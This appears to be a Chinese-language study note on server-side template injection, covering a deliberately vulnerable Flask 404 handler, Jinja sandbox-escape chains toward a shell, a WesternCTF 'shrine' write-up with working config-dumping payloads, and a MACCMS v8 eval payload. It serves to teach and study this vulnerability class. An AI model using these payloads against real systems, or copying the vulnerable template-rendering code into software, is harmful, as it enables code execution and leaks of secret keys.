SSTI所涉及的开发语言

SSTI所涉及的语言

知识点:

1、PYC文件反编译
2、Python-Web-SSTI
3、SSTI模版注入利用分析

python网站识别的办法:Werkzeug(中间件)

模板文件+数据 ==模板引擎==>HTML文件

模板类似于css,是一种前端显示修饰。换模板就是换一种显示样式。

➢PY反编译-PYC编译文件反编译源码
➢SSTI入门-原理&分类&检测&分析&利用
➢SSTI考点-CTF靶场-[WesternCTF]shrine
➢SSTI考点-CMS源码-MACCMS_V8.X执行

PY反编译-PYC编译文件反编译源码

pyc文件是py文件编译后生成的字节码文件(byte code),pyc文件经过python解释器最终会生成机器码运行。
因此pyc文件是可以跨平台部署的,类似Java的.class文件,一般py文件改变后,都会重新生成pyc文件。
反编译出py文件就是源码文件了。

=>python在线反编译1
=>python在线反编译2
=>反编译工具Python2.7

SSTI入门-原理&分类&检测&分析&利用

SSTI沙盒逃逸。

相关漏洞代码

from flask import Flask
from flask import request
from flask import config
from flask import render_template_string
app = Flask(__name__)

app.config['SECRET_KEY'] = "flag{SSTI_123456}"
# 访问根目录时返回
@app.route('/')
def hello_world():
return 'Hello World!'

# 访问错误时候返回报错信息
# 这是访问错误时的报错处理
@app.errorhandler(404)
def page_not_found(e):
template = '''
{%% block body %%}
<div class="center-content error">
<h1>Oops! That page doesn't exist.</h1>
<h3>%s</h3>
</div>
{%% endblock %%}
''' % (request.args.get('404_url'))
return render_template_string(template), 404

# 其中,<h3>%s</h3>存在变量输入,即存在变量,存在SSTI
# 用户的输入会被网站当成解析的一部分,导致SSTI漏洞出现

if __name__ == '__main__':
app.run(host='0.0.0.0',debug=True)

什么是SSTI?有什么漏洞危害?

web应用模板:
表示显示网站的样式,大概的样板,或者说是一个模型
但凡有个页面想使用它,直接调用即可
比如:我需要使用a模板的样式用于显示文章,就直接调用A模板的样式即可

# ---- 代码实现start ---- #
# 再举个简单的例子:
# 这是即将插入模板的数据
a = "数据A"
b = "数据B"

# 这是格式化的字符串,算是一个模板
# 再利用print输出模板内容
print("""<div>{}--{}</div>""".format(a,b))
# ---- 代码实现end ---- #

# 上面代表数据能插入模板执行,也就代表着能写入攻击代码写入到模板进行执行,执行攻击

漏洞成因: 服务端接收了用户恶意输入以后,未经处理就将其作为 Web 模板内容进行渲染展示,执行了用户插入的可以破坏模板的语句
结果:导致敏感信息泄露、代码执行、GetShell 等问题。
其影响范围主要取决于模版引擎的复杂性。

如何判断检测SSTI漏洞的存在?

输入的数据会被浏览器利用当前脚本语言调用解析执行

模板漏洞检测:传入{{3*56}}能正常的被执行

# 俩括号代表是执行Python漏洞
# 例如上面的代码运行后:
http://127.0.0.1:5000/asdasddasd?404_url={{3/1111}}
# 返回的结果
Oops! That page doesn't exist.
0.0027002700270027003
# 会运算{{3/1111}}并且回显,证明存在SSTI,或者是模板漏洞

引用大佬的:
# 注入思路
随便找一个内置类对象用__class__拿到他所对应的类
用__bases__拿到基类(<class 'object'>)
用__subclasses__()拿到子类列表
在子类列表中直接寻找可以利用的类getshell
# 下面代码放在{{}}当中
''.__class__.__bases__[0].__subclasses__()
().__class__.__mro__[2].__subclasses__()
request.__class__.__mro__[1]

引用自文章:https://xz.aliyun.com/t/7746
# 注意:Python语言版本问题会导致这个漏洞复现失败!

SSTI安全问题在生产环境那里产生

存在模版引用的地方,如404错误页面展示
存在数据接收引用的地方,如模版解析获取参数数据

SSTI考点-CTF靶场-[WesternCTF]shrine

源码

import flask
import os

app = flask.Flask(__name__)

app.config['FLAG'] = os.environ.pop('FLAG')


@app.route('/')
def index():
return open(__file__).read()


@app.route('/shrine/<path:shrine>')
def shrine(shrine):

def safe_jinja(s):
s = s.replace('(', '').replace(')', '')
blacklist = ['config', 'self']
return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + s

return flask.render_template_string(safe_jinja(shrine))


if __name__ == '__main__':
app.run(debug=True)

解析

<?php
1、源码分析SSTI考点
2、测试判断SSTI存在
/shrine/{{9*9}}
3、分析代码过滤和FLAG存储

4、利用Flask两个函数利用获取

https://blog.csdn.net/houyanhua1/article/details/85470175
url_for()函数是用于构建操作指定函数的URL
get_flashed_messages()函数是获取传递过来的数据

# 查看全局变量
/shrine/{{url_for.__globals__}}
# 查看当前变量app,源码当中出现.config存储flag,尝试调用.config
# 直接炸出了flag flag{9576c444-a177-4fee-88f6-146e59e4c9d6}
/shrine/{{url_for.__globals__['current_app'].config}}

# 获取对象,再转到全局变量
/shrine/{{get_flashed_messages.__globals__}}
# 转到当前APP,还是转到config获取flag
/shrine/{{get_flashed_messages.__globals__['current_app'].config}}

SSTI考点-CMS源码-MACCMS_V8.X执行

这是苹果的CMS……

Payload:index.php?m=vod-search&wd={if-dddd:phpinfo()}{endif-dddd}
1、根据wd传递的代码找指向文件
2、index->vod->tpl->ifex->eval
3、构造Payload带入ifex并绕过后执行

模板漏洞基本上都在白盒漏洞,有的扫都扫不出来。